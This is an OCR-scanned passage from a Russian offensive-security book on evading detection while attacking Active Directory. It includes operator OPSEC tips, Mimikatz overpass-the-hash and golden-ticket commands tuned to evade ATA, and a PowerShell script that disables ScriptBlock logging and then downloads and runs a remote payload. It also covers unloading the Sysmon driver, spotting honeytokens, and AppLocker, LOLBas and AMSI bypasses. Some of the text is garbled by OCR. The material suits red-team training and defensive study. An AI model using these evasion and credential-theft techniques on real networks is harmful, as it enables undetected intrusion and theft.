Вб
Внедрение в процессы - обычное дело, но стоит задуматься о том, в какие процес
сы стоит внедряться. Ведь некоторые процессы пользователь может закрыть за не
надобностью, поэтому стоит выбирать те, что обеспечат более продолжительный
жизненный цикл полезной нагрузки. При этом, скорее всего, вызовет подозрение,
что блокнот (процесс nоtераd . ехе) . обращается к удаленному серверу или выходит
в Интернет. Поэтому опьпный атакующий скорее будет внедряться в службу обнов
лений или браузер, чье предназначение объясняет необходимость работы с сетью.
Мы уже говорили об использовании PowerShell - иногда оно губительно. Поэтому
любой оператор должен очень хорошо знать инструменты, с которыми он работает,
ведь можно даже не догадываться, что некоторые нагрузки или команды популяр
ных фреймворков используют PowerShell (к примеру, wmi или psexec_psh в Cobalt
Strike).
Еще одна из мер предосторожности - использовать схожие доменные имена,
к примеру github.com и githab.com. Такие домены не вызовут подозрения, в от
личие от странных наборов си.мволов (встречалось и что-то типа такого:
kaWEFwldЪw.com). Этот подход используется как при рассылке фиши:нговых пи
сем, так и для организации связи с управляющим сервером.
Поддерживать связь между захваченными хостами лучше всего с помощью леги
тимных для организации служб и программ. Куда безопаснее делать это через ис
пользуемые в скомпрометированной сети RDP или RAdmin. Для сбора дополни
тельной информации можно получать скриншоты рабочих столов, а также привле
кать микрофоны и камеры, установленные на хостах (правда, данный вид разведки
требует много времени и усилий).
Ни в коем случае не следует использовать распространенные модули популярных
фреймворков (например, loca l_admin_search_enurn из MSF)
они обнаруживаются
всеми видами средств защиты. Никогда не отключайте на захваченных хостах ан
тивирусы, АТР и EDR. Так как большинство этих систем создают оповещение
об отключении, это будет очевидным сигналом аномальной работы узла или всей
сети.
�
И,
как уже отмечалось, требуется собирать и накапливать все учетные данные, даже
имена пользователей без паролей, пароли от документов, хранилищ и почтовых
ящиков, и использовать их корреляции между собой.
Уклонение от обнаружения АТА
Advanced Threat Analytics (АТА) представляет собой платформу для локальной се
ти, она помогает защитить организацию от многих типов современных целевых
компьютерных атак и внутренних угроз. АТА использует собственный механизм
сетевого анализа для сбора и валидации трафика по нескольким протоколам про
верки подлинности, авторизации и сбора информации (Kerberos, DNS, RPC, NTLM
и др).
АТА собирает эти сведения при помощи таких механизмов, как зеркальное ото
бражение портов с контроллеров домена на шлюз АТА или развертывание упро-
Уклоняемся от обнаружения при атаке на домен
87
щенного шлюза АТА непосредственно на контроллерах домена. Таким образом,
данная технология служит хорошим помощником для SOC, сильно усложняя рабо
ту нападающей стороне.
Для уклонения от регистрации атак с помощью АТА первым делом атакующий
должен безукоризненно следовать всем пунктам, изложенным в OPSEC. А именно
досконально знать техники и инструменты, которыми она пользуется. Это важно,
поскольку АТА, в отличие от EDR, работает за счет анализа сетевой активности
(прсiслушивая протоколы) и имеет высокую интеграцию с системными журналами
событий, аудита и большим количеством SIЕМ-систем. То есть выделяет аномалии
в действиях пользователей.
Таким образом, нам нужно умело уклоняться от обнаружения на всех этапах атаки,
будь то разведка (перечисление компьютеров, пользователей и подобное) или бо
ковое движение (за счет передачи билетов или хешей).
Разведка
В самом начале, когда у нас есть обычные доменные права пользователя, мы стара
емся перечислить домены, компьютеры, учетные записи администраторов и член
ство в разных группах. К примеру, утилита net . ехе использует для сканирования
протокол SAМR, на который АТА среагирует событием Reconnais sance using
directory services enurneration (разведка с использованием перечисления служб ка
талогов, рис. 4. 7).
Reconna issa nce u s ing d i rectory ;services queri es
l
�
The following di rectory services queries using sдMR protoco were attempted
Рис. 4.7. Событие Reconnaissance using directory services enumeration АТА
Но если для перечислений применить PowerView, то никаких действий от АТА мы
не получим, потому что данный инструмент вместо протокола SAМR использует
запросы LDAP, на которые АТА не реагирует.
Еще один вариант избежать детекта с помощью АТА - WМI-запросы. Для этого
используется следующий алгоритм . .
1 . Получаем пользователей в домене domain:
Get-WrniObject -Class Win32_UserAccount -Filter " Doma in= ' domain ' AND Di saЫed= ' False ' "
2. Получаем группы в домене domain:
Get-WmiObject -Class win32_group -Filter " Domain= ' domain ' "
3 . Получаем членство в группе администраторов домена domain:
Get-WmiObject -Class win32_groupUser 1 Where-Obj ect { ( $_ . GroupComponent -match
" Doma in Admins " ) -and ( $_ . GroupComponent -match "opsdc " ) )
Глава 4
88
Если использовать команды Find-LocalAdminAccess (найти машины в домене, где те
кущий пользователь имеет права локального администратора) или Invoke-userHunter
(для перечисления пользователей), то это будет обнаружено АТА как Reconnaissance
using sмв session enumeration (разведка с использованием перечисления сеанса
SМВ). Однако такую реакцию будут вызывать только запросы к контроллеру доме
на. Если же на этапе перечислений не обращаться к контроллеру домена, то можно
избежать обнаружения с помощью АТА. Эти же команды можно использовать
с параметром -computerFile, указав список компьютеров (т. е. все машины, кроме
контроллера домена):
Invoke-UserHunter -ComputerFile pc_list . txt -Verbose
Рассмотренные в предыдущих главах методы сканирования SPN также не отслежи
ваются с помощью АТА.
Brute force
Часто возникает потребность обеспечить доступ к машине в качестве локального
пользователя для получения точки опоры (закрепления). При этом в парольной
политике нет ограничения на количество попыток ввода пароля. В этом случае
можно использовать перебор по словарю, но это действие будет обнаружено АТА
(рис. 4.8).
Suspicious authentication failures
Susp icious authentication fa ilures i ndicating
а
potentia l brute-force attack were detected
Рис. 4.8. Событие Suspicious authentication failures АТА
Дело в том, что АТА определяет многократное подключение с разными паролями
в течение короткого промежутка времени (рис. 4.9).
Reason
Excessive number of authentication failures (507 within а few seconds]
Рис. 4.9. Причина события Suspicious authentication failures
Можно избежать обнаружения, если применять технику password spraying (т. к. мы
имеем список пользователей) или устраивать длительные задержки при переборе
пароля. Также можно задействовать password spraying, чередуя пароли с задержка
ми. При любом из этих вариантов мы уклоняемся от обнаружения АТА.
Overpass - The - Hash
Допустим, мы получили досrуп к хешам NTLM и провели атаку Overpass-the-hash
для создания билета KerЬeros и досrупа к ресурсам или сервисам:
Уклоняемся от обнаружения при атаке на домен
89
I nvoke-Mimi katz -Cormnand ' " sekurlsa : : pth /use r : [USER] /domain : [ DOМAI N ] /ntlm: [NTLМ
хеш] /run : powershell . ехе " '
Но в этом случае мы будем обнаружены АТА. Сработают сразу два правила:
Encryption downgrade activity и Unusual protocol implementation. При этом в сообще
нии будет указана причина - понижение уровня шифрования .. Разница в шифрова
нии при передаче обычного пароля и при передаче NTLM-xeшa показана на
рис. 4. 1 0.
AES
Normal
•
•
etype: 6 itl!llS
EllCТYPE : eТYPE-AES256-CТS-lllAC -SllA1-96 (18)
EllCТYP E: eТYPE-ARCFOUR-ltW:-№5 (23)
EllCТYPE : eТYPE-ARCFOUR-ttlAC-OLD (-133)
EllCТYPE: еТУРЕ-АRСFО.М-№4 ( -128)
ЕNСТУРЕ : eТYPE-ARCFO.М-lllAC - №5-Sб (24)
ЕNСТУРЕ : eТYPE-ARCFOUR-lllAC -OLD-EXP ( - 135)
• Муре :
NTLМ
7 itl!llS
ЕNСТУРЕ :
ЕNСТУРЕ :
ЕNСТУРЕ :
ЕNСТУРЕ :
ЕNСТУРЕ :
EllCТYPE :
ЕNСТУРЕ :
etype: 7 itl!llS
ЕNСТУРЕ: eТYPE-AES256-CТS·ltW:-SllA1-96 (18)
ЕNСТУРЕ: еТУРЕ -АЕS1:ZВ-СТS-114АС -SНА1-96 (17)
ЕNСТУРЕ: eТYPE-ARCFOUR-ltW:-№5 (2Э)
ЕNСТУРЕ: eТYPE -ARCFOUR-lllAC -Ol.D ( -1И)
ЕNСТУРЕ: eТYPE-ARCFOUR-1114 ( -128)
ЕNСТУРЕ: eТYPE-Al!CFOUll-lllAC -№5-56 (24)
ЕNСТУРЕ: eТYPE-ARCFOUll -lllAC -Ol.D-EXP ( -135)
eТYPE-IAJ\.L (0)
eТYPE-NULL (0)
eТYPE-ARCFOUR-114AC-1'1>5 (2Э)
eТYPE-ARCFOUR-ltW: -OLD ( -1ЗЭ)
eТYPE-ARCFOUR-№4 ( -128) ·
eТYPE-ARCFOUR-lllAC -l'l>S-56 (24)
eТYPE-ARCFOUR-ttW: -OLD-EXP ( -135)
Рис. 4.10. Уровни шифрования при различных способах авторизации
Куда более схожи между собой способы авторизации при помощи обычного пароля
и с применением AES. Поэтому избежать обнаружения АТА можно, используя
ключи AES. Для их извлечения можно задействовать тот же Mimikatz:
Invoke-Mimikatz -Cormnand "' sekurl sa : : e keys'" -ComputerName [ РС Name ]
Теперь можно выполнить Overpass-The-Hash, при этом в качестве ключа AES I 28
использовать любое значение.
I nvoke-Mimikatz -Command ' " sekurl sa : : pth /user : [USER] /domain: [ DOМAI N ]
/ase25 6 : [ Сдампленный AES 2 5 6 ] /nt lm : [NTLМ хеш] /aes 1 2 8 : 0 1 2 3 4 5 67 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 67 8 901
/run : powershell . exe" '
В таком случае мы успешно выполним Overpath-The-Hash и избежим обнаружения
с помощью АТА.
Go lden Tic ket
Допустим, мы создали «золотой билет» и даже успешно сохранили его в память. Но
как только мы обратимся к ресурсу в домене, АТА обнаружит это и классифициру
ет как событие Encryption downgrade activity. Так как причина события такая же, что
и в случае с Overpath-The-Hash, то и решение такое же - ключи AES.
Invoke-Mimi katz -Cormnand ' " kerberos : : golden /User : [ USER] /domain : [ DOМAIN] /sid : [ S I D ]
/aes2 5 6 : [ ключ AES25 6 ] /id : [ I D] /groups : [ GROUP] /ptt " '
Таким образом мы можем сгенерировать золотой билет и в дальнейшем использо
вать его без риска быть обнаруженным с помощью АТА.
90
Глава 4
Что не обнаруживается с помощью АТА
Как уже бьmо отмечено, сканирование SPN не подлежит детектированию с по
мощью АТА, т. к. нет взаимодействия с контроллером домена. По той же причине
не будут обнаружены и атаки на серверы Microsoft SQL Server и базы данных.
При наличии NTLM-xeшa учетной записи службы мы можем создать TGS и пре
доставить его службе для получения доступа (Silver Ticket). Так как при этой опе
рации отсутствует взаимодействие с контроллером домена, АТА не может обнару
жить использование Silver Тicket.
Техника повышения привилегий до SYSTEM из группы DnsAdmins не обнаружи
вается АТА. При использовании доверительных отношений между доменами по
умолчанию применяется шифрование RC4, т. е. исключается возможность пониже
ния шифрования. Поэтому АТА не обнаруживает ис_пользование доверительных
отношений (за исключением случаев, когда администраторы в свойствах доверия
во всех доменах не включат поддержку AES).
Во всех случаях репликаций с помощью DCSync вы будете обнаружены и зареги
стрированы АТА, кроме одного: когда DCSync выполняется с одного из контролле
ров домена. Эrо легитимная операция между контроллерами домена, и в таких дей
ствиях нет никаких аномалий, т. е. и реакции АТА не последует.
В этой главе приведены не все техники уклонения от обнаружения. Остальные
средства обнаружения и способы их обхода будут рассмотрены в следующих гла
вах.
ГЛАВА 5
Защита от детекта
в Active Directory
Проникнуть в сеть под управлением Active Directory - это только половина успе
ха. Другая важнейшая задача - оставаться в этой сети незамеченным как можно
дольше. Поэтому сегодня мы разберем техники скрытия атаки от конкретных
средств обнаружения и реагирования.
Обход журнал ирования PowerShell ScriptBlock
С выходом Windows 10 и PowerShell 5.0 компания Microsoft представила несколько
новых функций безопасности для PowerShell, в числе которых - ведение журнала
ScriptBlock. Эта функция создаеТ большие проблемы для атакующего (будь то ред
тимер, пентестер, исследователь или злоумышленник), т. к. регистрирует абсолют
но все подозрительные действия в PowerShell. И созданные ScriptBlock журналы
подлежат анализу стороной защиты.
Как и в случае с любой службой логирования, ведением журнала ScriptBlock
управляют с помощью параметров групповой политики. PowerShell запрашивает
его каждый раз, когда обнаруживает новый ScriptВlock, чтобы определить, нужно
ли его регистрировать. Но дело в том, что PowerShell выполняет запрос один раз,
кеширует его в памяти и возвращает при каждом обращении. Таким образом, эти
параметры могут быть легко изменены с помощью следующего кода:
$GroupPolicySettingsField = [ ref ] . AssemЬly . GetType ( ' System. Management .
Automation . Utils ' ) . GetField ( ' cachedGroupPoli cySettings ' , ' NonPuЬlic, Static ' )
$GroupPolicySettings = $GroupPo li cySettings Field . GetValue ( $nul l )
$GroupPoli cySettings [ ' ScriptBlockLogging ' ] [ ' EnaЬleScriptBlockLogging ' ] = О
$GroupPo licySettings [ ' ScriptBlockLogging ' ] [ ' EnaЬleScriptBlockinvocationLogging ' ] = О
Указанные действия можно выполнить, не обладая привилегиями администратора
и не трогая реестр, что позволяет нам сделать это незаметно. Но есть одно ограни
чение. Новые политики применяются после проверки параметров, которые будут
просмотрены, когда завершится первый ScriptBlock, что приведет к регистрации
события. Поэтому данный триггерный ScriptBlock должен быть максимально об-
92
Глава 5
фусцирован и не должен нести никакой полезной нагрузки. То есть выполняется он
специально для завершения журналирования.
$GroupPolicyField = [ re f ] . AssemЫy . GetType ( ' System. Management . Automation . Utils ' ) .
"GetFie ' ld" ( ' cachedGroupPolicySettings ' , ' N ' + ' onPuЫic, Static ' )
I f ( $ GroupPolicyField)
{
$GroupPolicyCache = $GroupPolicyField . GetValue ( $null )
I f ( $ GroupPolicyCache [ ' ScriptB ' + ' lockLogging ' ] )
{
$GroupPolicyCache [ ' ScriptB ' + ' lockLogging ' ] [ ' EnaЫeScriptB ' + ' lockLogging ' ] = О
$GroupPo licyCache [ ' ScriptB ' + ' lockLogging ' ]
[ ' EnaЬleScriptBlockinvocat ionLogging ' ] = О
} .
$val = [ System . Collections . Generic . Dictionary [ string, System . Obj ect ] ] : : new ( )
$val . Add ( ' EnaЬleScriptB ' + ' lockLogging ' , 0 )
$val . Add ( ' EnaЬleScriptB ' + ' lockinvocationLogging ' , 0 )
$GroupPolicyCache [ ' HКEY_LOCAL_МACH INE\Software\Policies \Microsoft\
Windows \PowerShel l \ScriptB ' + ' l ockLogging ' ]
=
$val
iex ( New-Object Net . WebClient ) . downloadstring ( " https : / / server/payload . ps l " )
Приведенный выше скрипт выполняет триггер для журнала, проверяет параметры
логирования и запускает полезную нагрузку в обход журналирования.
Уклонение от ре гистрации Sysmon
Системный монитор (Sysmon) - это системная служба Windows, предназначенная
для мониторинга и регистрации активности системы в журнале событий Windows.
Она предоставляет подробную информацию о создании процессов, о сетевых под
ключениях и изменениях времени создания файлов. Sysmon генерирует с помощью
Windows Event Collection или агентов SIEM события и собирает их. Анализ собран
ных событий помогает идентифицировать вредоносную или аномальную актив
ность. Что очень важно, Sysmon не предоставляет анализ событий, которые он
генерирует, а также не пытается защитить систему или спрятаться от злоумышлен
ников.
Sysmon - мощное средство анализа и представляет большую проблему для опера
тора, т. к. позволяет обнаружить различные индикаторы вредоносной активности,
например создание процессов, файлов, потоков или изменение реестра. Сам
Sysmon состоит из системной службы и драйвера, который предоставляет службе
информацию. Хотя Sysmon и не пытается себя скрыть, но имя службы и имя драй
вера по умолчанию могут быть изменены (рис. 5 . 1 ).
В любом случае измененное имя драйвера не проблема, т. к. у каждого драйвера
есть своя аптитуда - уникальный идентификатор, который указывает положение
драйвера относительно остальных в стеке файловой системы. Таким образом,
Sysmon имеет предопределенное значение з в s 2 0 1 . То есть мы сможем обнаружить
данный драйвер, даже если его переименуют (рис. 5 .2).
93
За щита от детекта в Active Directory
PS
С:
\ U s e r s \ root\Desktop\System>
Syst e m � o n i t o r vl0 . 42
(С)
Copy - i ght
S�s i п t e - n a l s
-
Dr·.;Na:н•
. \ Sysmon64 . exe
S y s t e m a c t i vity . mon i t o r
2014 - 2019 H a r k R u s si novi c h a n d Thomas G a r n i e r
-
��� . s y s i n t e rn a l s . com
S;. smon64 i n s t a l l e d .
Or\�ame i ns t a l l e d .
S t a - t i n g D�vName .
D·-"1Na1r·e
s t a rt e d .
S t a r t i n g Sysmon64 . .
Sysmon64 s t a r t e d .
Рис. 5.1. Изменения имени Sysmon на DrvName
Рис. 5.2. Дефолтная аптитуда DrvName - 385201
Для выгрузки драйвера можно использовать п tмс, но перед этим Sysrnon запрото
колирует данное действие в журнале командной строки. Лучше использовать
функции FilterFindFirst ( ) и FilterFindNext ( ) из библиотеки flt lib . dll, чтобы найти
и выгрузить драйвер с аптитудой з в s 2 0 1 без регистрации этого события (рис. 5 .3).
Description: Filter Manaqer Control Proqram
Product Microsoft$ Windows4!> Operatinq System
Com pany: M icrosoft C orporation
OriqinalFileName: fltMC.exe
[ o m m andLine: fltMC.exe
unload NotSvs m n
1
C urrentDirectory: С:\ Windows\system32\
Рис. 5.3. Регистрация fltmc.exe в журнале командной строки с помощью Sysmon
Shhrnon (https://gitbub.com/matterpreter/Sbhmon) использует эти функции для вы
грузки драйвера. Чтобы это сделать, токен процесса должен иметь привилегию
SeLoadDriverPrivileges, которая есть у Shhrnon за счет advapi32 ! AdjustTokenPrivileges
(рис. 5 .4).
Privileqes:
SeSecurityPrivileqe
SeTakeOwnershi pPrivileqe
SeloadDriverPrivileqe
SeBackupPrivileqe
SeRestorePrivileqe
SeDebuqPrivileqe
SeSystem EnvironmentPrivileqe
Selm personateP rivileqe
SeDeleqateSessionUserlm personatePrivileqe
Рис. 5.4. Привилегии Shhmon
Глава 5
94
Таким образом, мы без детекта можем обнаружить даже переименованный Драйвер
Sysmon. Для этого используем Shhmon с параметром hunt (рис. 5 .5).
Затем выгружаем драйвер, используя Shhmon с параметром kill (рис. 5 .6).
PS
[+)
С : \Us e:-s\root\De s ktop> . \Shhn оп . ехе h L1 nt
Found t h e Sysmcn d:-ive� a t a l t i t u d e 385201 r u n n i n g with a l t e r n a t e
п ате
·oгvName "
Рис. 5.5. Обнаружение переименованного драйвера Sysmon
PS С : \Uset'S \ 1· o o t \ De s k t o p > . \ S h f111ю n . ехе k i l l
[ + ] found t he S y s mo n d r i v e ' at al t i t u d e 385201 runn i n g w i t h a l t e r n a t e name "DrvName "
[ + ] Try i n g to k i l l t h e d ri ver . . .
[ * ] Addi n g SeLoadDri v e r P r i v i l e g e t o token
[ + ] R e c e i ved LUID
[ * ] Adjust i n g token
[ + ] S e l oadDriverP r i v i l e g e a d d e d !
( • ] DrvName �as
unlcaded
: )
'
Рис. 5.6. Выгрузка драйвера Sysmon
Служба Sysmon остается активной, но уже без возможности собирать события и
анализировать журналы! Правда, это происходит не бесследно, т. к. перед выгруз
кой драйвера будет сгенерировано событие Sysmon с ID 255 - Drivercommunication
(рис. 5 .7).
IDI Ori�ommunication
Olscnption: F"lttd to №rilWl tvenU • Last e!R)r: Th• VO optralion hls ь..n eЬorted Ьtсаuи of liltlet 1 tl1R111d exit or an applJcation niquest
Рис. 5.7. Событие Sysmon DriverCommunication
Плюс ко всему использование привилегии SeLoadDriverPrivileges без протоколиро
вания доступно только для NT AUTHORITY\SYSTEM, в противном случае будет сгенери
ровано событие безопасности с Ш 4672. Тем не менее активный сбор и анализ дан
ных с помощью Sysmon перестанет быть для нас проблемой.
В качестве дополнения можно сказать про инструмент под названием Invoke
PhantOm (https://github.com/hUdzflnvoke-PhantOm/ЫoЬ/master/lnvoke-PhantOm.psl).
Этот сценарий просматривает стеки потоков процесса службы журнала событий и
определяет, какие из потоков подлежат уничтожению. Таким образом, система не
сможет собирать журналы, и в то же время служба журнала событий будет рабо
тать.
Уклонение от Honeytoken
Honeypot - приманка для злоумышленника. Такие ресурсы создают специально
для того, чтобы они подверглись атаке или несанкционированному воздействию.
Впоследствии аналитики изучают стратегию атаки, а также определяют, с помо
щью каких средств она велась. Прн этом успешная атака на такой ресурс не прине
сет никакого вреда атакуемой инфраструктуре. Иными словами, honeypot может
За щита от детекта в Active DirectofY
95
представлять собой как специальный выделенный сервер, так и один отдельный
сервис.
Honeytoken'ы - это honeypot'ы, которые не являются компьютерными системами.
Например, к этой категории можно отнести вымышленные слова или записи, кото
рые добавляются в реальные базы данных. Они позволяют администраторам от
слеживать утечки данных в сетях, потому что в обычных условиях эти данные
всплывать не должны вообще. Так как они вряд ли когда-либо появятся в легитим
ном трафике, honeytoken'ы могут быть легко обнаружены с помощью IDS.
Помимо этого, honeytoken' ами могут быть специальные учетные записи пользова
телей (особенно с описанием admin или netAdmin) либо записи в базе данных (нигде
не используемые случайные поля вроде password2 ) . Частый пример honeytoken
нигдe не используемый адрес электронной почть1.
Но если объекты создаются специально для того, чтобы их нашли, как оператору не
попасть в ловушку? Дело в том, что в этих объектах присутствуют так называемые
маркеры - признак, по которому обманка отличается от реального объекта.
К примеру, если взять объект «учетная запись», то некоторые средства генерации
honeytoken'oв портят следующие атрибуты:
L] objectS I D - имеет неверный формат;
L] lastLogon - наличие пользователей, которые никогда не входили в систему, но
имеют привилегии;
L] logoncount - если у большинства учетных записей средний показатель logoncount
составляет около 50, а у какой-то учетной записи - 3 или 4, это повод заду
маться;
L] badPwdCount - нет такого пользователя, который в течение длительного времени
ни разу не ввел бы неправильный пароль.
Как бьmо отмечено, самый надежный способ определить аномалию - это сравни
вать со средним показателем. Лучше что-то оставить непроверенным, чем прове
рить и быть обнаруженным. Еще один важный критерий - это объекты, не сопос
тавленные с реальными компьютерами.
Долгие исследования и накопленные методики позволили выявить семь самых час
тых типов honeytoken'oв.
1 . Фальшивая учетная запись пользователя службы с определенным SPN и атрибу
том adminCount, равным единице. В этом случае будет зафиксирована попытка
Kerberoasting при запросе TGS для данной учетной записи.
2. Фальшивые учетные данные в памяти. Создание процесса с флагом NetOnly при
ведет к кешированию поддельного токена, поэтому, как только оператор попы
тается использовать эти учетные данные, он будет обнаружен. Данный подход
применяют lnvoke-HoneyHash (https://github.com/EmpireProject/Empire/ЬloЫ
master/data/module_source/management/New-HoneyHash.psl) и DCEPT (https://
github.com/secureworks/dcept).
Гла ва 5
96
3 . Фальшивые учетные записи компьютеров. Как уже отмечалось, созданные объ
екты домена без привязки к фактическим устройствам подозрительны. Если ис
пользовать их для бокового перемещения, оператора обнаружат.
4. Фальшивые данные диспетчера учетных данных. Специально введенные учет
ные данные будут отображаться при задействовании mimikatz. Соответственно,
использование этих учетных данных неминуемо приведет к разоблачению.
5 . Фальшивые администраторы домена. Эти учетные записи неактивны и никогда
не использовались. Среди большого количества учетных записей можно не
учесть неактивные. Перебор учетных данных для таких записей сразу вьщаст
оператора. Этот способ используется в АТА.
6. Фальшивые диски. Многие скрипты или черви распространяются через SМВ
ресурсы, особенно если ресурс помечен как общий. Таким образом, все обраще
ния к данным ресурсам будут обнаружены и зарегистрированы.
7. Записи DNS. При переходе по специальным DNS-именам данный факт будет
зарегистрирован и оператор будет обнаружен.
Основная идея всех фальшивых объектов - заставить оператора использовать их.
Однако оператор может изучить эти объекты перед использованием. Для детекта
всех семи типов honeytoken'oв был разработан инструмент Honeypot Buster
(https://github.com/JavelinNetworks/lloneypotBuster/ЬloЬ/master/Invoke
HoneypotBuster.psl ). Использовать его можно следующим образом (рис. 5.8):
Import-Module . \ Invoke-HoneypotBus ter . psl
I nvoke-HoneypotBuster
Рис. 5.8. Обнаружение фальшивой учетной записи с помощью Honeypot Buster
Этот инструмент написан на PowerShell и поддерживает версии начиная с 2.0. Для
перечисления объектов используются запросы LDAP, а для сбора учетных дан
ных - загрузка DLL, чтобы получить доступ к LSASS.
За щита от двтекта в Active Directory
97
Обход AppLocker
Средство под названием AppLocker снижает риск компрометации рабочих машин.
Правила AppLocker применяются к целевому приложению, которое может быть
исполняемым файлом, скриптом, файлом установщика и даже DLL. У каждого пра
вила есть условия - это критерии идентификации приложения, к которому это
правило применяется.
Есть три основных условия, формирующих правила: издатель, путь и хеш файла.
Условие пути к файлу определяет приложение по его расположению в системе.
Условие издателя определяет приложение на основе его цифровой подписи. Усло
вие хеша файла определяет приложение на основе его хеша.
ТТеречисление п равил AppLoc ker
Первым делом грамотный оператор постарается узнать правила AppLocker.
В большинстве случаев применяются правила по умолчанию, но также встречаются
и пользовательские настройки. Так как правила AppLocker обычно являются объек
том групповой политики, то их можно запросить в Active Directory. В PowerShell
даже существует модуль AppLocker, с помощью которого можно запросить прави
ла, применяемые в данной системе. Например, следующий скрипт представит пра
вила AppLocker в удобном формате:
Import-Module AppLocker
[ xml ) $data
=
Get-AppLockerPolicy -effective -xml
Write-Output " [ + ] Printing Applocker Rules [ + J ' n 11
( $data . AppLockerPolicy . RuleCollection 1 ? { $_ . EnforcementMode -match 11EnaЫed11 } )
1
ForEach-Object -Process {
Write-Output ( $_ . FilePathRule 1 Where-Object { $ _ . Name -NotLike 11 ( Default Rule) * 11 1 1
1 ForEach-Obj ect -Process { Write-Output 11=== File Path Rule === ' n ' n Rule Name :
$ ( $_ . Name ) ' n Condition : $ ( $_ . Conditions . FilePathCondition . Path) ' n Description :
$ ( $_ . Descr�ption) ' n Group/SID : $ ( $_ . UserOrGroupSid) ' n ' n11 }
Write-Output ( $ . FileHashRule) 1 'ForEach-Object -Process { Write-Output 11=== File
Hash Rule === ' n�n Rule Name : $ ( $_ . Name ) 'n File Name :
$ ( $_. Conditions . FileHashCondition . FileHash . SourceFileName ) ' n Hash type :
$ ( $_. Conditions . FileHashCondition . FileHash . Type )
n Hash :
$ ( $_. Conditions . Fi leHashCondition . FileHash . Data) ' n Description : $ ( $_ . Description)
'n Group/SID : $ ( $_ . UserOrGroupSid) ' n ' n11 }
Write-Output ( $_ . FilePuЬl isherRule 1 Where-Object { $_ . Name -NotLike
11 ( Default Rule ) * 11 } ) 1 ForEach-Obj ect -Process {Write-Output 11=== File PuЫisher
Rule === ' n ' n Rule Name : $ ( $_ . Name ) ' n PuЫisherName :
$ ( $_ . Conditions . FilePuЬlisherCondition . PuЬlisherName ) ' n ProductName
$ ( $ . Conditions . FilePuЫisherCondi tion . ProductName ) ' n BinaryName :
$ ( $- . Conditions . FilePuЬlisherCondition . BinaryName ) ' n BinaryVersion Min .
$ ( $= . Conditions . FilePuЫisherCondition. BinaryVersionRange . LowSection) ' n BinaryVersion
Мах . : $ ( $ . Conditions . FilePuЫisherCondition . BinaryVersionRange . HighSection)
'n Description : $ ( $_. Description) 'n Group/SID : $ ( $_. Use rOrGroupSid) ' n ' n11 }
Глава 5
98
Обход правил а xewa срайл ов
В качестве алгоритма хеширования в этом правиле по умолчанию используется
SНА-256. Единственный способ, которым можно получить нелегитимные функции
исполняемых приложений в обход данного правила, ---: это инъекция DLL (конеч
но, если приложение загружает DLL). К примеру, в Process Explorer бьша уязви
мость, которая позволяла загрузить через DLL вредоносный код.
Таким образом, если существует правило, позволяющее запускать Process Explorer,
то можно выполнить код. На рис. 5 .9 и 5 . 1 0 бьша загружена DLL, запускающая
са\с.ехе.
Вместо запуска калькулятора можно использовать более существенную нагрузку.
Тем не менее главная задача выполнена - получилось обойти AppLocker.
===
f' j } e 11«:.:1• Rн 1е
l!Ltlc ��-•пе
F i l e N�ne
H a s h t y pe
:
fl l loы
:
SHA256
:
===
1н·о с 1: :; :;
1: x 11 1u 1•t:1•
prnc e x p . e xв
IJ ,,:; 1 1 :
0x3 2 ')1f1E:J J l'C69 И!.i3fl D IJGCC9SE71 2 S 1'5 1'I:I'J l'6 3 2 1 1 ПA PC'i'9 fl 8 1 A 5 1 1CJ'?l.l?&?f111.1
Dc � c 1· i )Jt i o n : r1· o c (: x p . e x (:
Grou p/S I � : S -1 - t -й
Рис. 5.9. Правило для Process Explorer
Рис. 5.10. Запуск calc.exe с помощью Process Explorer
За щита от детекта в Active Directory
99
Обход правил а пути
Это правило - самое распространенное, его применяют почти везде. Так как усло
вием данного правила является расположение файла в файловой системе компью
тера или в сети, то и обойти его довольно легко. На одной из конференций было
представлено правило, которое позволяло запуск исполняемого файла из директо
рии C : \ Python27 (рис. 5 . 1 1 ).
= = = F i le Pat}1 R н l e = = =
Rнle На111е : A l lo\·J Ьinai•ies i n Pyt }ю n 2 ?
Co n d it i o n : С : 'Pyt}юn2?'*
De s c г ipt ion : C : ,Pyt ho n 2 ?'*
G1•ottp/S 1 D : S-1 -1-0
Рис. 5.1 1 . Правило, разрешающее запуск из директории C:\Pythoп27
Таким образом, если каталог доступен для записи, есть возможность разместить
в нем (а впоследствии и выполнить) любой файл (рис. 5 . 1 2).
Рис. 5.12. Запуск файла из директории C:\Pythoп27 в обход AppLocker
Обход правил а издателя
Цифровая подпись содержит информацию о компании - разработчике приложе
ния, т. е. об издателе. Таким образом, это правило идентифицирует приложение на
основе его цифровой подписи и расширенных атрибутов. В случае исполняемых
файлов, DLL и установщиков Windows эти атрибуты содержат название продукта,
частью которого будет файл, предоставленное издателем оригинальное имя файла
и номер его версии. В случае упакованных приложений и их установщиков расши
ренные атрибуты содержат имя и версию приложения.
Указанный тип правил - один из самых безопасных, и обходные пути очень огра
ничены. AppLocker проверяет, действительна подпись или нет, поэтому оператор
не может просто подписать приложение ненадежными сертификатами. Но данное
правило можно обойти с помощью того же способа, что и правило хеша, ведь инъ
екцию DLL с использованием этого правила никак не обнаружить.
Гла ва 5
100
Техника LOLBas
Эта техника демонстрирует функции приложений, о которых большинство систем
ных . администраторов могут и не знать. Полный список приложений, а также спо
собы эксплуатации различных функций этих программ можно посмотреть на сайте
https:/Лolbas-project.github.io/. К примеру, с помощью Wsreset . txt можно обойти
UAC, а с помощью Advpack . d l l - выполнять команды ОС. На рис. 5 . 1 3 представлен
пример выполнения команды ОС с помощью Advpack . dl l .
Launch command line Ьу calling the RegisterOCX function.
Usecase:
Privileges required:User
05:
Mitre :Т1085
Рис. 5.13. Вызов cmd.exe с помощью Advpack.dll
Обход PowerShell AMSI
Antimalware Scan Interface (AМSI) позволяет приложениям и службам интегриро
ваться с любым имеющимся на компьютере продуктом для защиты от вредоносных
программ. AМSI не зависит от поставщика антивирусных решений. Он разработан
с учетом наиболее распространенных методов сканирования и защиты от них.
К тому же AMSI поддерживает структуру вызовов, позволяющую сканировать
файлы, память или поток, проверять URL/IP-aдpeca источника. Таким образом,
AMSI сканирует, находит и блокирует все, что, по его мненmо, может нанести вред
системе.
По умолчанию AMSI работает с Microsoft Defender. Защитник Windows отменит
свою регистрацию в качестве поставщика AMSI и отключится, когда другой анти
вирусный движок зарегистрируется в этом качестве.
Ошибки выполнения кода, вызываемые AMSI (рис. 5 . 14), можно получить при ис
пользовании таких известных сценариев, как PowerShell Empire или PowerSploit. На
самом деле AMSI детекгирует вредоносное ПО на основе известных строк. К при
